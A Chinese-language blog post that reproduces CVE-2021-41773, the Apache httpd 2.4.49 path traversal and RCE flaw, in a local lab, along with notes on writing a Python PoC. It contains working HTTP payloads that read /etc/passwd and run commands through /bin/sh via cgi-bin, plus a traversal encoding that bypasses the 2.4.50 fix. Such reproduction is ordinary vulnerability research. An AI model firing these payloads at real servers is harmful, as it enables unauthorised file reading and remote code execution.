CVE-2021-41773 Apache Httpd Server 漏洞复现
0x00 写在前面
很久没写水漏洞复现的文章了,水一篇。
0x01 漏洞简介
是目录穿越文件读取漏洞,漏洞只影响2.4.49,2.4.50不完全修复可绕过,如果开启
mod_cgi
可RCE
详情可参考下面链接
https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20
https://zh-cn.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited?tns_redirect=true
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488695&idx=1&sn=93cc8e0b903e073b2ec5f56baae05c8c&chksm=c172ceabf60547bd7084dbc30283b124de404086adcac29cac09c261682af6207e83914f8971&mpshare=1&scene=23&srcid=1011i7EQtc88ryHEEnWw9Ib1&sharer_sharetime=1633916866195&sharer_shareid=89d9b45c74ce6f3b746404e9dd2f124d%23rd
0x02 漏洞复现
这里用的https://github.com/blasty/CVE-2021-41773项目起的环境
文件读取
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1Host: 127.0.0.1:8080
RCE
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/plainContent-Length: 8echo; id
2.4.50版本暂未复现,payload中目录穿越部分换为
.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65
即可
0x03 poc编写
主要记录下写poc时踩的坑,本人用的python3.9.6 一开始用的requests库,但是发现requests库在发送http请求时会自己先对url进行处理,而不会直接将我们在脚本中写好的url直接发过去。
部分源码如下:
报错如下:
而burp发过去就是很正常的,最后查看日志时发现了问题
error.log:
access.log
结果:burp传过去在log里看是有url编码的,requests过去的在发送前已经先做了一次urldecode
这里没有debug跟源码,用urllib.request作为请求库就解决了